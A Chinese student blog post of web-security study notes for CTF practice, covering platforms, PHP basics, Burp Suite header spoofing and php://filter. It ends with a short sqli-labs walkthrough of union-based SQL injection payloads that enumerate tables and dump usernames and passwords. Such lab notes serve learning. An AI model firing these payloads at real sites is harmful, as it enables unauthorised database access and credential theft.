开一个贴来记录一下网安web方向的学习

去年加入了我们学校的网安实验室学习后一直没有详细的总结学习的东西,所以现在开一个贴来粗略总结学过的知识点,就当是学习笔记了。

首先是一些练习的平台

XCTF:

https://www.xctf.org.cn/

Jarvisoj:

https://www.jarvisoj.com/

北联大:

https://buuoj.cn/

CGCTF:

https://cgctf.nuptsast.com/challenges

i春秋:

https://www.ichunqiu.com/competition

wechall:

http://www.wechall.net/

CTFS:

https://github.com/ctfs

HTML

首先是粗略学习了HTML,参考网页https://www.runoob.com/html/html-tutorial.html

PHP

学习了PHP语言,首先是学习了基础的语法,当时感觉和我那时学的C艹差不多,循环语句中多了一种foreach,下面给出一个例子

1 <?php
2 $score=['张三'=>99,'李四'=>95,'王五'=>85];
3 foreach ($score as $student=>$mark){
4     echo $student." 得分:".$mark.PHP_EOL;
5 }

输出结果是

张三 得分:99
李四 得分:95
王五 得分:85

当然也学写了PHP的数据类型,在PHP数据的比较中有个比较有趣的点,如下

/**
 * 类型比较
 *      松散比较:使用两个等号 == 比较,只比较值,不比较类型。
 *      严格比较:用三个等号 === 比较,除了比较值,也比较类型。
 * 参考链接:https://www.runoob.com/php/php-types-comparisons.html
 */

构造函数就是

<?php
function functionName()
{
    // 要执行的代码
}
?>

GET类型传参

get类传参可以直接通过URL进行,方法是在URL后加?name=value&name2=value2

POST类型传参

使用火狐浏览器插件hackbar进行post类传参

PHP正则表达式

可以筛选自己想要的和不想要的字符串

一个在线正则小工具:http://c.runoob.com/front-end/854

Burp Suite

bp的使用途径很广,可以用来抓包,给网站传数据,伪造域名等

X-Forwarded-For 请求端ip(本地一般为127.0.0.1)

Referer 先前网页的地址,当前请求网页紧随其后,即来路

php://filter

个人感觉算是一种漏洞注入,参考链接:

https://blog.csdn.net/destiny1507/article/details/82347371

SQL注入

感觉是一个很庞大的知识体系

挖个坑到时候详细总结,sqli-lab有很多很好用的题目,下面记录一个注入例子

1.?id=1 order by 4--+  去到4发现报错,那么有3个字段显示
2.?id=-1' union select 1, 2, 3--+//发现2, 3 可以显示出来
3.?id=-1' union select 1, version(), database()--+爆数据库版本和数据库名字
4.?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+//爆表名
5.?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+//爆列
6.id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+爆username以及对应的password, 0x3a是16进制, ascii码是冒号,用以分割password和username

JavaScript  

https://www.w3school.com.cn/js/index.asp

 

 

感觉还有好多知识点没有总结啊,日后做题再慢慢总结了,摸了

posted @ 2021-03-06 00:15  Fr3Nky  阅读(86)  评论(0编辑  收藏  举报